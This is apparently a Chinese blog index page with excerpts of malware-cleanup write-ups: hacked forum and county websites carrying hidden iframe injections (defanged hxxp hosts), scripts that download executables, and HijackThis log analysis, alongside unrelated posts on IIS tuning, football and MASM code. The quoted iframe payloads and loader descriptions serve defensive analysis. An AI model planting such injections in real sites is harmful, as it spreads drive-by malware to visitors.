其他

某文學論壇被掛馬 Worm.Win32.Agent.ipi/Trojan.Win32.Agent.avtendurer 原創2007-08-19 第1版Google了一下，發現Google已經標註了：該網站可能含有惡意軟體，有可能會危害您的電腦。 檢查論壇的網頁代碼，被加入：/---＜iframe src='hxxp://a**aa.3*6**96**78.cn/xiaoyu.htm' width=0

2007-11-30繼續參考卡卡安全助手的顯示資訊，改進了O14 、O15 和 O18 項的內容同時著手在 log 分析工具中 增加 著色功能，讓 log中的惡意項目反白，如：C:/WINDOWS/system32/ctfmon.exe * 2660 | 2004-8-4 0:52:30 | Microsoft? Windows? Operating System | 5.1.2600.2180 | CTF Loader | ? Microsoft Corporation. All

2007-08-16這段時間忙著寫監控autorun.inf的小東東，現已完成了90%，也許下周可以發一個beta測試版……在這之前，寫了一個提取可疑檔案說明符的網頁，用來提取分析後的log中的可疑項中的檔案說明符 2007-06-231、這個新增的 啟動項 是在　瑞星卡卡安全助手 裡發現的2、發現Windows  提供的INI檔案操作API讀取到的資料有時不完整，於是自已寫了一個INI檔案讀取分析的代碼 2007-06-04近期惡意程式利用 映像劫持

遭遇RootKit.Win32.GameHack.GEN,Trojan.PSW.Win32.GameOL.GEN,RootKit.Win32.Mnless等2endurer 原創2008-03-06 第1版(續：遭遇RootKit.Win32.GameHack.GEN,Trojan.PSW.Win32.GameOL.GEN,RootKit.Win32.Mnless等1)先到 http://purpleendurer.ys168.com 下載

今年的金球獎真無聊　　足球場上，最令人難受的就是看巴西球員和法國球員踢球。因為這兩類球員踢球花哨太多，陰氣太重，巴西球員更帶一絲妖氣。缺少男人最基本的陽剛之美……　　所以巴西球員卡卡拿金球獎真無聊，手捧世界盃和歐洲冠軍杯的皮爾洛完全比他更有資格拿獎……　　羅米終於回博卡了，真想看他們的比賽…… 

endurer 原創2007-06-15 第1版一位網友說他的電腦不管開啟什麼網站的網頁，顯示的都是hxxp://218.*1*.1*4.170的VIP1.HTM、VIP2.HTM等。hxxp://218.*1*.1*4.170/VIP1.HTM 的內容採用US-ASCII編碼。到http://purpleendurer.ys168.com 下載US-ASCII編碼解碼程式進行解碼，得到的內容包含JavaScript指令碼代碼，功能是下載 檔案 611.exe，儲存為 c:/Microsoft.

資訊源:駭客基地 廣告  一、概要: 　　為了能夠好好的讓IIS運行穩定，俺主要介紹用於最佳化專用的 Windows 2000 Web 服務器效能的一點方法。二、禁用不必要的服務: 　　禁用專用 Web 服務器不需要的 Windows 2000 服務。方法是：單擊開始，依次指向程式、管理工具，然後單擊電腦管理。在“電腦管理（本地）”下，展開“服務和應用程式”，然後單擊服務。當前所運行服務的狀態 列中顯示已啟動 。以下服務是專用 Web 服務器上不需要的： 　　警報器 　　剪貼簿 　　電腦瀏覽器

自：CNET在英國牛津郡一幢大樓的玻璃牆後面就是反惡意程式碼軟體公司Sophos的英國總部。請和我們一起在The Pentagon裡面漫遊。 靠近牛津的Sophos大樓的外觀由公司的兩位執行總裁設計。由於其安全特性而被稱為‘The Pentagon’。外圍的護城河用來阻止非法襲擊者，而停車場包含能夠升起以阻止車輛自由出入的路障。 門廊通向第一層的會客室和大餐廳，遊客在這些地方無需安全許可。遊客進入第二層和第三層（包括反病毒實驗室）則需要許可，而且必須由Sophos的職員陪同

endurer 原創2007-02-05 第1版網站首頁被加入代碼：/------＜iframe height=0 width=0 src="hxxp://www.g**ao**jun***888.com/4"＞＜/iframe＞------/開啟網頁4 中包含Javascript代碼，輸出一段加入多餘空格、使用escape()加密的VBScript指令碼程式。該VBScript指令碼程式利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject

分別是：1、李維寫的《Borland傳奇（第二版）》1——14章。盡量用彩色圖片代替了原書的黑白圖片。：在http://purpleendurer.ys168.com的/myworks/e-book中，The_legend_of_Borland.chm （0.9MB）2、LinusTorvalds自傳　　該書內容比較豐富：

香港 ns1.netvigator.com 205.252.144.228    澳門 vassun2.macau.ctm.net 202.175.3.8    深圳 ns.shenzhen.gd.cn 202.96.134.133  202.96.154.8  202.96.154.15    北京 ns.bta.net.cn 202.96.0.133  ns.spt.net.cn 202.96.199.133  ns.cn.net 202.97.16.195  202.106.0.20  2

在用masm32編寫示範利用WH_JOURNALRECORD 和 WH_JOURNALPLAYBACK鉤子記錄和回放 鍵盤+滑鼠 操作程式程式op_record中發現的一個資源使用方面的問題/技巧。（op_record程式可以到http://purpleendurer.ys168.com下載，其中/myworks/demo_only目錄下的op_rocord.rar為示範版本，/myworks/tools目錄下的op_rocord.rar為具有實用功能的版本，程式介面圖可看：【原創】用MASM3

某縣農業資訊網掛馬RootKit.Win32.Mnless,Trojan.Win32.Edog等endurer 原創2008-02-02 第1版開啟該網站後IE失去響應……在該網站首頁底部發現代碼:/---＜iframe src="hxxp://8**8.8*812**15.com/88.htm" width=0 height=0＞＜/iframe＞---/1 hxxp://8**8.8*812**15.com/88.htm包含代碼：/---＜iframe src="hxxp://8**8.8*

endurer　原創2006-09-10 第1版有位網友的電腦的案頭莫名其妙地出現了名為sohu遊戲的表徵圖，到控制台的“添加刪除程式”卸載以後，下次系統啟動時又出了。並發來了 HijackThis（你可以到 http://endurer.ys168.com 下載）掃描的log。在 log 發現如下可疑項目：/--------------HijackThis_zww漢化版掃描日誌 V1.99.1儲存於      21:33:37, 日期 2006-9-10作業系統：  Windows XP

　　一位同事的電腦中IE一直使用265網址導航作首頁，這天忽然變成hxxp://www.COXDX.INFO/?z012了，修改不回來，請我幫忙檢修。　　開啟Internet選項，手動修改首頁為http://www.265.com/，但總不能生效。將該電腦中的360殺毒軟體的即時監控禁用，下載安裝金山衛士檢修，沒有檢查出問題。　　使用pe_xscan掃描日誌並分析，發現如下可疑項： pe_xscan 11-03-17 by Purple Endurer2011-6-30

endurer　原創2006-06-26　第3版 補充：Kaspersky確認為病毒：Trojan.Win32.Agent.ut2006-06-26　第2版 補充：Kaspersky（2006-06-26

 一位網友想在空間裡引用網頁http://www.xiami.com/song/1769156926 裡Joseph McManners演唱的《In Dreams》，但找不到，向我救助。 在Maxthon

endurer　原創2006-10-18 第1版近期有不少網友電腦中的IE首頁被鎖定為piaoxue.com，這裡說三個另類臨時解決辦法。方法一：用Maxthon，GreenBrowser之類的瀏覽器軟體，它們可以設定並使用自己的首頁，不受IE的影響。方法二：運行IE時不開啟首頁首先在案頭為IE建立一個捷徑，方法如下：開啟“我的電腦”或“資源管理員”，找到IE的安裝目錄，一般IE是安裝在C:/Program Files/Internet

一、刪除檔案夾及其下所有子目錄和檔案（分類樹）include    masm32rt.inc;SSSSSSSSSSSSSSSSSSSSSSSSSS.data;SSSSSSSSSSSSSSSSSSSSSSSSSSfileop    SHFILEOPSTRUCT<>Dir    db "C:\Users\Alex\AppData\Local\Temp",0;SSSSSSSSSSSSSSSSSSSSSSSSSS.code;SSSSSSSSSSSSSSSSSSSSSSSSSSstart:  

;Name:     CPUMODE.ASM;Function: Report current CPU working mode;Version : 0.1b;Author  : Purple Endurer;Develop Environment : Microsoft (R) Programmer's WorkBench version 2.1.49;;Note:   Options -> Project Templates -> Set Project Template...;